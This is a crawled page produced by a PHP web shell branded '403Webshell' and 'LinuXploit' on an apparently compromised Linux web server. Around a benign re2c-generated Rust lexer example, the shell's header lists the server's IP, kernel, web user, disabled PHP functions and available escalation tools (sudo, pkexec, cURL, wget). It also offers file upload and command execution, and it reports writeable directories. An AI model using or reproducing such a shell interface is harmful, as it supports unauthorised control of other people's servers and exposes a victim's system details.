403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.70.147.97
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/re2c/examples/rust/headers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/re2c/examples/rust/headers/header.rs
/* Generated by re2c */
// re2rust $INPUT -o $OUTPUT --header lexer/state.rs

mod lexer;
use lexer::state::State; // the module is generated by re2c



fn lex(st: &mut State) -> usize {
    let t: usize;
    
{
	#[allow(unused_assignments)]
	let mut yych : u8 = 0;
	let mut yystate : usize = 0;
	'yyl: loop {
		match yystate {
			0 => {
				yych = unsafe {*st.str.get_unchecked(st.cur)};
				match yych {
					0x61 => {
						st.cur += 1;
						yystate = 0;
						continue 'yyl;
					}
					0x62 => {
						st.yyt1 = st.cur;
						st.cur += 1;
						yystate = 2;
						continue 'yyl;
					}
					_ => {
						st.yyt1 = st.cur;
						yystate = 1;
						continue 'yyl;
					}
				}
			}
			1 => {
				t = st.yyt1;
				{ return t; }
			}
			2 => {
				yych = unsafe {*st.str.get_unchecked(st.cur)};
				match yych {
					0x62 => {
						st.cur += 1;
						yystate = 2;
						continue 'yyl;
					}
					_ => {
						yystate = 1;
						continue 'yyl;
					}
				}
			}
			_ => {
				panic!("internal lexer error")
			}
		}
	}
}

}

fn main() {
    let mut st = State {
        str: b"ab\0",
        cur: 0,
        yyt1: 0,
    };
    assert_eq!(lex(&mut st), 1);
}
/* Generated by re2c */

pub struct State<'a> {
    pub str: &'a [u8],
    pub cur: usize,
    pub yyt1: usize,
}
rust/headers/header.re:26:21: warning: rule matches empty string [-Wmatch-empty-string]

Youez - 2016 - github.com/yon3zu
LinuXploit